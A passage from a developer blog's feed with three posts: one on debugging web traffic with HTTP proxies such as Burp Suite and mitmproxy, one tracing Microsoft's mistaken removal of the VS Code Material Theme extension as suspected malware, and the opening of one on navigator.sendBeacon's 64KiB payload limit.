    <title>Everyone Needs an HTTP Proxy for Debugging</title>
    <link href="https://blog.huli.tw/2025/04/23/en/everyone-need-a-http-proxy-to-debug/"/>
    <id>https://blog.huli.tw/2025/04/23/en/everyone-need-a-http-proxy-to-debug/</id>
    <published>2025-04-23T02:50:00.000Z</published>
    <updated>2025-04-23T11:50:02.008Z</updated>
    
    <content type="html"><![CDATA[<p>As a front-end engineer who deals with web pages every day, it is quite reasonable to be familiar with the use of DevTools. Whenever there is an issue with an API, I just press the shortcut to open DevTools, switch to the Network tab, find the red line, right-click to copy it as cURL, and paste it into the group chat for the backend team to troubleshoot.</p><p>But I wonder if anyone has encountered situations where DevTools are not sufficient. What should we do then?</p><span id="more"></span><h2><span id="are-devtools-really-insufficient-is-it-just-that-you-dont-know-how-to-use-them">Are DevTools Really Insufficient? Is It Just That You Don’t Know How to Use Them?</span></h2><p>Let me share a few cases I have encountered. If DevTools can solve the problem, that would be the most convenient, but sometimes I can’t resolve it (it might also be that I just don’t know how to use it). Additionally, the DevTools mentioned below refer specifically to Chrome DevTools; perhaps other browsers do not have these issues.</p><h3><span id="unable-to-see-request-details-before-redirection">Unable to See Request Details Before Redirection</span></h3><p>Many websites that implement OAuth-related services will redirect to a redirect URL after logging in, carrying a code. At this point, some websites will use the code to exchange for an access_token, and then redirect to the next page with the access_token. If there is an issue with the code exchanging for the access_token, how do we debug it?</p><p>Chrome DevTools, when redirecting to another page, will by default clear the console and network data. There is an option called “Preserve log,” and checking it seems to solve the problem, but it actually does not.</p><p>You can randomly find a webpage, open DevTools, check the “Preserve log” option, and then execute the following code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'https://httpbin.org/user-agent'</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> window<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token string">'https://example.com'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>After the redirection is complete, although you can see this request in the Network tab, clicking on it will only show “Failed to load response data”:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p1.png" alt="Unable to See Request"></p><p>This issue has been reported since 2012, and after waiting for over a decade, it was mentioned at the end of 2023 that this would be on the roadmap for 2024, but there has been no movement so far: <a href="https://issues.chromium.org/issues/40254754">DevTools: XHR (and other resources) content not available after navigation.</a>.</p><p>In summary, in this scenario, not being able to see the response makes debugging nearly impossible, which is very inconvenient.</p><h3><span id="unable-to-find-the-cause-of-websocket-connection-handshake-failure">Unable to Find the Cause of WebSocket Connection Handshake Failure</span></h3><p>Although we usually only need one line of code to establish a connection when using WebSocket, it actually involves two steps behind the scenes.</p><p>The first step sends an HTTP Upgrade request, and only after that does it switch to the WebSocket connection. While the first step usually succeeds in most cases, what happens if it fails?</p><p>We can ask AI to write a very simple demo:</p><pre class="line-numbers language-none"><code class="language-none">write a nodejs websocket server with nginx in frontwhen url contains ?debug, nginx should return 500 errorafter websocker connected, server should a a hello message to clientuse docker compose to run it<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After the AI generates it, run it with Docker, and similarly open a webpage to establish a connection. You will find that for the connection request with debug information, you only know it failed, but have no idea why:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p2.png" alt="Unable to Find the Cause"></p><p>This error message is even similar to connecting to a random closed port, leaving you completely clueless as to why it failed, making it difficult to communicate the issue to the backend.</p><p>These are two examples that I remember, but in actual development, there are likely many more. Basically, problems that cannot be resolved by just relying on DevTools to view the Network tab are either invisible or the displayed information is incorrect.</p><h2><span id="simple-and-easy-to-use-http-proxy">Simple and Easy-to-Use HTTP Proxy</span></h2><p>Since we cannot rely on DevTools, we have to depend on lower-level tools, such as an HTTP Proxy! Some tools will set up a proxy on your local machine, allowing all traffic to pass through it, so you can see all requests without being limited by DevTools.</p><p>Moreover, another benefit is that you have a place to cross-reference. If the proxy shows something different from what DevTools displays, it is possible that there is an issue with what DevTools is showing.</p><p>Therefore, I sincerely recommend everyone to find an HTTP Proxy to use. The three that I have personally used are:</p><ol><li><a href="https://www.charlesproxy.com/">Charles</a></li><li><a href="https://portswigger.net/burp/communitydownload">Burp Suite</a></li><li><a href="https://mitmproxy.org/">mitmproxy</a></li></ol><p>When I first got into proxies, I used Charles, but after getting into cybersecurity, I switched to the second one, Burp Suite. It’s actually a tool that can be used for various security-related tests, but I think it’s perfectly fine to just use it as a proxy; it’s very convenient.</p><p>The third one, mitmproxy, is open-source and free, and it’s quite well-known. I occasionally use it, but in a different way, which I’ll discuss later.</p><h3><span id="using-burp-suite-as-a-proxy-app">Using Burp Suite as a Proxy App</span></h3><p>First, download the free community version from the official website: <a href="https://portswigger.net/burp/communitydownload">https://portswigger.net/burp/communitydownload</a></p><p>After opening it, click Next and then Start Burp, and you’ll see the main screen. You’ll notice it has many features, but for now, let’s switch to the “Proxy” tab and then to the “HTTP history” page:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p3.png" alt="Burp Screen"></p><p>Then click on the very noticeable orange “Open Browser” button, which will open its built-in Chrome browser. You can use this browser to visit any webpage, for example, example.com.</p><p>Next, switch back to the tool, and you’ll find that the HTTP history records all the raw content of requests and responses:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p4.png" alt="Request Records"></p><p>In this way, the redirection cases and WebSocket handshake failures mentioned earlier can be seen here with the original request content, making errors clear at a glance:</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p5.png" alt="Raw Content"></p><p>If in the future you encounter some requests that you can’t see, it means they have been filtered out by the default filter. Click on Filter settings, select show all, and then apply, and you should be able to see them.</p><p>(If you encounter issues with insecure connections, you need to install the certificate first. Please refer to: <a href="https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate">Installing Burp’s CA certificate</a>)</p><p>That’s a basic introduction to using Burp Suite as an HTTP Proxy. If you don’t want to use the Chrome it provides, you can also set up your computer or browser’s proxy; it defaults to port 8080.</p><p>For example, I install another Chrome Canary on my Mac specifically for debugging. You can use this command to open it and set the proxy location:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This way, you can debug using your familiar browser.</p><p>By the way, Burp Suite has many other features, such as replaying requests or brute-forcing, but I think it’s already very helpful for general engineers to use it as a proxy. </p><h3><span id="using-mitmproxy-with-scripts-to-dynamically-change-content">Using mitmproxy with Scripts to Dynamically Change Content</span></h3><p>I won’t go into detail about the installation process for mitmproxy; you can refer to the <a href="https://docs.mitmproxy.org/stable/overview-getting-started/">official documentation</a> or collaborate with AI to install it yourself. After installation, remember to visit <code>http://mitm.it</code> to download and install the certificate so that you can intercept HTTPS traffic.</p><p>Once everything is installed, running <code>mitmproxy</code> will start the proxy, and you’ll see a CLI interface.</p><p>Since Burp Suite is already very useful, when would you use mitmproxy? It has a handy feature that allows you to customize the behavior of the proxy through simple Python scripts, which is very convenient.</p><p>For example, suppose for some reason the testing environment cannot fully simulate the production environment, but you cannot directly deploy the code to the production environment for testing. In this case, you can use the proxy to dynamically replace the production response and simulate some behaviors locally.</p><p>Although Chrome also has the <a href="https://developer.chrome.com/docs/devtools/override">override response</a> feature, it has more limitations, such as fixed content, etc. Using a proxy with scripts is definitely a more flexible and higher freedom choice.</p><p>Below is a simple mitm script aimed at replacing the script.js of my blog with the local version:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> mitmproxy <span class="token keyword">import</span> http<span class="token keyword">import</span> requestsURL_MAPPINGS <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">"https://blog.huli.tw/js/script.js"</span><span class="token punctuation">:</span> <span class="token string">"http://localhost:5555/script.js"</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token keyword">def</span> <span class="token function">request</span><span class="token punctuation">(</span>flow<span class="token punctuation">:</span> http<span class="token punctuation">.</span>HTTPFlow<span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token boolean">None</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> url <span class="token keyword">in</span> URL_MAPPINGS<span class="token punctuation">:</span>        <span class="token keyword">if</span> flow<span class="token punctuation">.</span>request<span class="token punctuation">.</span>pretty_url<span class="token punctuation">.</span>startswith<span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">:</span>            replacement_url <span class="token operator">=</span> URL_MAPPINGS<span class="token punctuation">[</span>url<span class="token punctuation">]</span>            replacement_response <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>replacement_url<span class="token punctuation">)</span>            flow<span class="token punctuation">.</span>response <span class="token operator">=</span> http<span class="token punctuation">.</span>Response<span class="token punctuation">.</span>make<span class="token punctuation">(</span>                <span class="token number">200</span><span class="token punctuation">,</span>                replacement_response<span class="token punctuation">.</span>content<span class="token punctuation">,</span>                 <span class="token punctuation">&#123;</span><span class="token string">"Content-Type"</span><span class="token punctuation">:</span> <span class="token string">"application/javascript"</span><span class="token punctuation">&#125;</span>             <span class="token punctuation">)</span>            <span class="token keyword">return</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You can run it with this command:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">mitmproxy <span class="token parameter variable">-s</span> proxy.py<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Next, use the command mentioned earlier to open a browser configured with a proxy:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Then visit <code>https://blog.huli.tw</code> in the browser, and you will see that the content of the script has been replaced.</p><h2><span id="conclusion">Conclusion</span></h2><p>These are some proxies and usage methods that I commonly use.</p><p>Relying too much on the browser is not a good thing; if the browser does not display anything, you won’t know what to do. However, as front-end engineers on the front line, there are definitely ways to obtain the entire request and response to clarify the issue further. In the future, if you encounter problems where requests are not visible in the browser, you can try using a proxy to capture the complete request and response.</p><p>In addition to web pages on the computer, you can also use it on mobile. You can set up a proxy on Android to connect to the same Wi-Fi as the computer, and then install the certificate on the phone to intercept the mobile traffic.</p><p>Finally, here’s a little tip: when executing commands in the Mac CLI, adding <code>https_proxy=http://localhost:8080</code> will configure the proxy, such as <code>https_proxy=http://localhost:8080 cursor .</code>, which will redirect all traffic from the Cursor IDE to the proxy.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;As a front-end engineer who deals with web pages every day, it is quite reasonable to be familiar with the use of DevTools. Whenever there is an issue with an API, I just press the shortcut to open DevTools, switch to the Network tab, find the red line, right-click to copy it as cURL, and paste it into the group chat for the backend team to troubleshoot.&lt;/p&gt;
&lt;p&gt;But I wonder if anyone has encountered situations where DevTools are not sufficient. What should we do then?&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  
  
  <entry>
    <title>VS Code Material Theme is Not a Malware — Where Should the Line Be Drawn?</title>
    <link href="https://blog.huli.tw/2025/03/16/en/vscode-material-theme-is-not-a-malware/"/>
    <id>https://blog.huli.tw/2025/03/16/en/vscode-material-theme-is-not-a-malware/</id>
    <published>2025-03-16T02:40:00.000Z</published>
    <updated>2025-10-01T13:13:03.857Z</updated>
    
    <content type="html"><![CDATA[<p>Many people might have followed the news three weeks ago about the well-known extension Material Theme being proactively removed from VS Code by Microsoft. So what was the reason for its removal? Depending on your source of information, there might be two answers:</p><ol><li>It “allegedly” contains malicious code.</li><li>It is indeed malware.</li></ol><span id="more"></span><p>For example, in BleepingComputer’s article <a href="https://www.bleepingcomputer.com/news/security/vscode-extensions-with-9-million-installs-pulled-over-security-risks/">VSCode extensions with 9 million installs pulled over security risks</a>, it states:</p><blockquote><p>Microsoft has removed two popular VSCode extensions, ‘Material Theme – Free’ and  ‘Material Theme Icons – Free,’ from the Visual Studio Marketplace for allegedly containing malicious code.</p></blockquote><p>It uses the term “allegedly containing malicious code.”</p><p>In addition to this, there are many news articles or tweets that assertively claim that Material Theme is malware. For instance, the widely followed <a href="https://x.com/theo/status/1894661673388314710">@theo</a> directly stated:</p><blockquote><p>The Material Theme has just been removed from GitHub and VS Code due to shipping malware.</p></blockquote><p>So, is the Material Theme extension on VS Code malware? To conclude: “No.”</p><p>What exactly happened in this whole process? Why was it initially said to be potentially malware, and later it was not? Let’s discuss this in chronological order, starting from the beginning.</p><h2><span id="the-beginning-of-the-incident-and-the-reason-for-removal">The Beginning of the Incident and the Reason for Removal</span></h2><p>(All times refer to Taiwan time)</p><p>On 2025&#x2F;02&#x2F;26 at 01:32 AM, someone posted an issue on the Material Theme GitHub: <a href="https://web.archive.org/web/20250226020241/https://github.com/material-theme/vsc-material-theme/discussions/1313">This extension was reported to be problematic</a>, mentioning that the following prompt appeared in VS Code:</p><blockquote><p>We have uninstalled ‘equinusocio.vsc-material-theme’ which was reported to be problematic.</p></blockquote><p>This proves that at least at this point in time, Microsoft had proactively removed the Material Theme from VS Code. A few hours later, at 04:39, someone also posted on the well-known discussion forum Reddit discussing the same situation: <a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">Lost Material Theme</a> .</p><p>By 7 AM, discussions also began on Hacker News: <a href="https://news.ycombinator.com/item?id=43178831">Material Theme has been pulled from VS Code’s marketplace</a>.</p><p>Around 3:40 PM, a member of the VS Code team, Isidor, responded:</p><blockquote><p>Hi - Isidor here from the VS Code team.<br>A member of the community did a deep security analysis of the extension and found multiple red flags that indicate malicious intent and reported this to us. Our security researchers at Microsoft confirmed this claims and found additional suspicious code.</p><p>We banned the publisher from the VS Marketplace and removed all of their extensions and uninstalled from all VS Code instances that have this extension running. For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.</p><p>Expect an announcement here with more details soon <a href="https://github.com/microsoft/vsmarketplace/">https://github.com/microsoft/vsmarketplace/</a></p><p>As a reminder, the VS Marketplace continuously invests in security. And more about extension runtime trust can be found in this article <a href="https://code.visualstudio.com/docs/editor/extension-runtime-security">https://code.visualstudio.com/docs/editor/extension-runtime-security</a></p><p>Thank you!</p></blockquote><p>The gist is that someone in the community conducted an in-depth security analysis of this package, found multiple red flags indicating malicious intent, and reported it to Microsoft. Internal security researchers at Microsoft also confirmed this finding and identified other suspicious code. Microsoft has removed all packages from this developer and banned him, stating that the removal of the package is unrelated to the license (which we will discuss later) and is only related to potential suspicious intent.</p><p>By 11 PM, someone opened an issue in the Visual Studio Marketplace GitHub to discuss this matter: <a href="https://github.com/microsoft/vsmarketplace/issues/1168">Material theme compromised?</a>, wanting to know more details.</p><p>The PM of the VS Code Marketplace, seaniyer, also provided a <a href="https://github.com/microsoft/vsmarketplace/issues/1168#issuecomment-2686542068">response</a> at 9:57 AM on 2&#x2F;27:</p><blockquote><p>Sean here from VS Code Marketplace. We take the decision to remove seriously and thoroughly verify any reports. To protect developers, we also prioritize speedy removal of positives. We’ve posted the reason for removal in RemovedPackages, where we plan to add any future removals as well. Thanks for helping to keep the marketplace safe for everyone.</p></blockquote><p>The <a href="https://github.com/microsoft/vsmarketplace/commit/5d23236b873a96d0da5dc90990e6172341c88b71">RemovedPackages.md</a> file was created at 7 AM that day, perhaps indicating that this was Microsoft’s first proactive removal of a package?</p><p>The document stated that the removed package was Equinusocio.vsc-material-theme-icons (another package by the same author; he has two, one is Material Theme and the other is Material Theme Icons), with the reason being:</p><blockquote><p>A theming extension with heavily obfuscated code and unreasonable dependencies including a utility for running child processes</p></blockquote><p>A cybersecurity company, Koi Security, published an article on 2025&#x2F;02&#x2F;27 titled <a href="https://blog.koi.security/a-wolf-in-dark-mode-the-malicious-vs-code-theme-that-fooled-millions-85ed92b4bd26">A Wolf in Dark Mode: The Malicious VS Code Theme That Fooled Millions</a>, mentioning that they found malicious code in the Material Theme, seemingly introduced through a dependency:</p><blockquote><p>Say hello to the wolf in dark mode, “Material Theme”, an extremely popular VSCode theme extension, found to be containing malware underneath its beautiful color scheme</p><p>Material Theme — Free, a theme extension for VSCode, which was installed 3,927,094 times by developers, was found to contain malicious code through a dependency</p><p>The malicious code seems to be inside a dependency of the theme, which was compromised.</p></blockquote><p>The wording used here is “was found to contain malicious code,” which directly states that it contains malicious code.</p><h2><span id="authors-rebuttal">Author’s Rebuttal</span></h2><p>On 2&#x2F;28, around 5 PM, the author of Material Theme, @equinusocio, opened an issue in the Visual Studio Marketplace GitHub: <a href="https://github.com/microsoft/vsmarketplace/issues/1173">Asking for Equinusocio publisher restoration and relative extensions, censorship and shady discriminatory microsoft moves</a>, stating that there is no malicious code in his package, and the only issue is an outdated third-party package:</p><blockquote><p>This decision destroyed 10 years of reputation and trust, all based on unfounded SUSPICIONS regarding obfuscated code—something you dislike, even though there was no evidence of harm. The only issue was an outdated sanity.io dependency within the obfuscated code, which could have been fixed in 30 seconds.</p></blockquote><p>At the end of the article, it also mentions that if it is confirmed that his package does not contain malicious code, all extensions should be restored and a public apology issued:</p><blockquote><p>If your review of MY SOURCE CODE confirms that there is nothing malicious, I formally request the full restoration of our publisher accounts (Equinusocio and vira-theme), all related extensions, and user access to the theme. Additionally, all installations and insights should be reinstated.</p></blockquote><h2><span id="why-was-material-theme-suspected">Why was Material Theme suspected?</span></h2><p>To summarize the above discussion, it is clear that Material Theme indeed did a few things:</p><ol><li>It is clearly a theme, but the package contains JavaScript.</li><li>It has obfuscated code.</li><li>The code contains parts related to username and password.</li><li>It includes a utility for executing child processes.</li></ol><p>If you ask me whether it is suspicious, yes, it is certainly suspicious. But if you ask me whether it is malicious software, I would say it is not.</p><p>Why not? Because no one has provided evidence. Although obfuscating code is indeed suspicious, it is just that—suspicious. Moreover, in my view, the strength of this “suspicion” is not that strong. For example, there is no evidence found of communication with a malicious server or any suspicious backdoors, etc.</p><p>In addition, regarding the obfuscation, if you have looked into the situation, you would find that as early as August 2024, someone on Reddit posted a <a href="https://www.reddit.com/r/vscode/comments/1eq40o2/has_the_material_theme_extension_been_compromised/?rdt=47469">Has the Material Theme extension been compromised?</a> thread, stating that the latest version contains a large amount of obfuscated code, and the historical records on GitHub have already been deleted, asking what happened.</p><p>Some say it may be related to these two discussions initiated by the author on August 10:</p><ol><li><a href="https://web.archive.org/web/20241230012548/https://github.com/material-theme/vsc-material-theme/discussions/1304">⚠️ Looking for Typescript maintainer ⚠️ </a></li><li><a href="https://web.archive.org/web/20241230040357/https://github.com/material-theme/vsc-material-theme/discussions/1305">Premium extensions</a></li></ol><p>Because the author wanted to change this package from open source to closed source and develop a paid version, they used obfuscation to hide some logic.</p><p>As for the so-called “parts related to username and password in the code,” it is very likely that a third-party package used <a href="https://github.com/unshiftio/url-parse">url-parser</a>, so these usernames and passwords refer to the credentials in the URL when parsing, rather than anything that steals sensitive information from your computer.</p><p>Regarding the “utility for executing child processes,” <a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2693242277">someone</a> looked at the code after deobfuscating it and found that it was just a build script, executing no malicious commands.</p><p>(By the way, I have not personally verified these two points above; the source code of the extension has always been available for download, and interested individuals can take a look themselves: <a href="https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage">https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage</a>)</p><p>The article from Koi Security also lacks any clear evidence. My stance here aligns with the subtitle of the article <a href="https://andrews.substack.com/p/re-vscode-extension-drama">RE: VSCode Extension Drama</a>: You can’t run your threat response like a High School clique.</p><p>Of course, setting aside Material Theme for now, the author has a history of behaviors that do not align with the spirit of open source. This is also why the Microsoft statement mentioned earlier states: “For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.” However, since these issues are unrelated to whether the extension is malicious software, I won’t elaborate further.</p><p>Initially, only Material Theme and Material Theme Icons were taken down and removed. However, the author later created a new account, changed the name, and uploaded it again. After being discovered multiple times, the entire account was banned, as can be seen in the <a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">discussion thread</a> on Reddit.</p><p>In summary, this <a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2692845250">comment from @r8</a> accurately reflects my thoughts:</p><blockquote><p>Being an ass is not a crime. If you want to ban Mattia for being an ass (which, I’m sorry to say, he is), that’s what Codes of Conduct were invented for.</p></blockquote><h2><span id="the-important-line-between-suspected-and-confirmed">The Important Line Between “Suspected” and “Confirmed”</span></h2><p>The question I want to discuss is: “Is it reasonable for the VS Code team to take down the Material Theme extension?”</p><p>However, this question actually hides two or three sub-questions, so I decided to break it down. The first thing we can discuss is whether it is reasonable to take down an extension when it is found to “possibly contain malicious code.”</p><p>Prevention is better than cure. Stopping losses before something goes wrong is, in my opinion, reasonable.</p><p>The second related question is: “Since it is only suspected, how much certainty is needed before it is reasonable to take it down?”</p><p>This is actually a “line-drawing” issue.</p><p>For example, if a theme extension is found to contain unobfuscated JavaScript files, taking it down may not be reasonable. But what if obfuscated JavaScript is found in the theme extension? (You still don’t know what the content is, only that it has been obfuscated.) Some people might feel it should be taken down.</p><p>However, others might argue that you must find concrete evidence before taking it down; even being in the suspicion stage is not enough.</p><p>So I say this is a line-drawing issue, depending on where you draw the line and what conditions must be met to feel it is sufficiently suspicious to warrant removal. This standard will vary for each person and organization.</p><p>Once these two questions are clarified, we can discuss: “Is it reasonable for the VS Code team to take down the Material Theme extension?” From their perspective, the known information is likely:</p><ol><li>It is clearly a theme, but the extension contains JavaScript, which is obfuscated.</li><li>It includes utilities used to execute child processes.</li><li>This extension has millions of downloads.</li></ol><p>Before making a decision, they must understand the impact this decision will have.</p><p>For example, this is the first time the VS Code team has done this, so even if it is merely “suspected of having issues,” it could be interpreted as having enough confidence to take significant action by remotely removing the extension. Additionally, if it turns out to be a malicious extension, that would be fine, but what if it is not? Should they be particularly careful when making public statements, emphasizing that it is only a suspicion and trying not to harm the developer’s reputation when the evidence is not yet clear?</p><p>Another question is, since “lack of evidence” affects the decision, should this line be drawn more strictly, only making decisions after obtaining concrete evidence? After all, if it is ultimately confirmed that the extension is fine, the outside world may question Microsoft’s cybersecurity capabilities (like, I thought you had enough evidence to do this, but it turns out to be a false report).</p><p>In summary, I don’t know how much evidence the VS Code team had, but we all know the decision they ultimately made: to forcibly remove the extension to protect users.</p><h2><span id="conclusion-the-vs-code-teams-apology">Conclusion: The VS Code Team’s Apology</span></h2><p>More than a week after the incident, on March 7, Microsoft removed Material Theme from the list via this PR: <a href="https://github.com/microsoft/vsmarketplace/pull/1181">Update RemovedPackages.md</a>.</p><p>On March 12, they issued a <a href="https://github.com/microsoft/vsmarketplace/issues/1173">public statement</a> apologizing under the issue posted by the author:</p><blockquote><p>False positives suck, and it hurts when it happens.</p><p>The publisher account for Material Theme and Material Theme Icons (Equinusocio) was mistakenly flagged and has now been restored. In the interest of safety, we moved fast and we messed up. We removed these themes because they fired off multiple malware detection indicators inside Microsoft, and our investigation came to the wrong conclusion. We care deeply about the security of the VS Code ecosystem, and acted quickly to protect our users.</p><p>I understand that the “Equinusocio” extensions author’s frustration and intense reaction, and we hear you. It’s bad but sometimes things like this happen. We do our best - we’re humans, and we hope to move on from this We will clarify our policy on obfuscated code and we will update our scanners and investigation process to reduce the likelihood of another event like this.<br>These extensions are safe and have been restored for the VS Code community to enjoy.</p><p>LINKS:<br>Material Theme<br>[Material Theme Icons]<br>(<a href="https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons">https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons</a>)</p><p>Again, we apologize that the author got caught up in the blast radius and we look forward to their future themes and extensions. We’ve corresponded with him and thanked him for his patience.</p><p>Scott Hanselman and the Visual Studio Code Marketplace Team - @shanselman</p></blockquote><p>So, despite having some indeed suspicious behavior, Material Theme has never been malware from the beginning.</p><p>However, it can be seen from the statement that from their perspective, there should have been a high level of confidence when making the decision, after all, the internal malware detection said so (even though it turned out to be a false positive).</p><p>If it were me, I might have decided to take it down as well, so I understand this decision.</p><p>But I think the explanation at the time of removal should have been clearer, emphasizing multiple times that “the incident is still under investigation, and it has not been confirmed to be malware,” and continuously stressing that “it is still being verified, and it was removed just to protect users.”</p><p>Although the VS Code team did not explicitly state that it was malware, the expression was more like “although it hasn’t been fully confirmed, I am quite confident it is,” rather than “it hasn’t been confirmed to be malware, please don’t panic, wait for our verification.”</p><p>To summarize my position, I currently believe that removing highly suspicious packages is reasonable, and I agree with the VS Code team’s actions. However, to avoid false positives, extra caution must be taken in external statements; otherwise, the damage to the developer’s reputation is irreparable, and I believe the VS Code team did not do well in this regard this time.</p><p>Taking this incident as an example, even though the VS Code apology statement was issued 3 days ago, how many people know about it? Could it be that most people still think Material Theme is malware?</p><p>By the way, BleepingComputer asked the cybersecurity company that initially reported the issue in the article <a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-apologizes-for-removing-vscode-extensions-used-by-millions/">Microsoft apologizes for removing VSCode extensions used by millions</a>, and they still believe there is malicious code:</p><blockquote><p>When asked by BleepingComputer about this development, cybersecurity researcher Amit Assaraf continued to claim that the extension did contain malicious code. However, he stated that there was no malicious intent from the publisher, commenting that “in this case, Microsoft moved too fast.”</p></blockquote><p>But it seems that no relevant evidence has been provided so far.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Many people might have followed the news three weeks ago about the well-known extension Material Theme being proactively removed from VS Code by Microsoft. So what was the reason for its removal? Depending on your source of information, there might be two answers:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It “allegedly” contains malicious code.&lt;/li&gt;
&lt;li&gt;It is indeed malware.&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>The 64KiB Limitation of navigator.sendBeacon and its implementation</title>
    <link href="https://blog.huli.tw/2025/01/06/en/navigator-sendbeacon-64kib-and-source-code/"/>
    <id>https://blog.huli.tw/2025/01/06/en/navigator-sendbeacon-64kib-and-source-code/</id>
    <published>2025-01-06T02:40:00.000Z</published>
    <updated>2025-02-28T12:44:35.459Z</updated>
    
    <content type="html"><![CDATA[<p>When you want to send some tracking-related information to the server from a webpage, there is another option that is often recommended over directly using <code>fetch</code> to send requests: <code>navigator.sendBeacon</code>.</p><p>Why is this recommended?</p><p>Because if you use the usual method of sending requests, there may be issues when the user closes the page or navigates away. For example, if a request is sent just as the page is being closed, that request may not go through and could be canceled along with the page closure.</p><p>Although there are ways to try to force the request to be sent, these methods often harm the user experience, such as forcing the page to close later or sending a synchronous request.</p><p><code>navigator.sendBeacon</code> was created to solve this problem.</p><span id="more"></span><p>As stated in the <a href="https://w3c.github.io/beacon/">spec</a>:</p><blockquote><p>This specification defines an interface that web developers can use to schedule asynchronous and non-blocking delivery of data that minimizes resource contention with other time-critical operations, while ensuring that such requests are still processed and delivered to destination</p><p>This specification defines an interface for web developers to schedule asynchronous and non-blocking data transmission, minimizing resource contention with other time-sensitive operations while ensuring that these requests can still be processed and delivered to the target location.</p></blockquote><p>The usage is also very simple:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"/log"</span><span class="token punctuation">,</span> payload<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This will send a POST request to <code>/log</code>.</p><p>Although it is simple and easy to use, one important point to note is that the payload being sent has a size limit, and this limit is not just for a single request.</p><h2><span id="payload-limit-of-navigatorsendbeacon">Payload Limit of navigator.sendBeacon</span></h2><p>The payload limit for <code>sendBeacon</code> is 64 KiB, equivalent to 65536 bytes. If the payload consists entirely of English characters, since each character is one byte, that means 65536 characters.</p><p>If you exceed this size, you will find that the request cannot be sent and remains in a pending state:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"/log"</span><span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">65536</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p1.png" alt="Forever pending"></p><p>Moreover, this limitation is not just for a single request; there is a queue behind it, and this queue will not accept new items if it exceeds 65536 bytes.</p><p>For example, when we continuously send 8 requests of 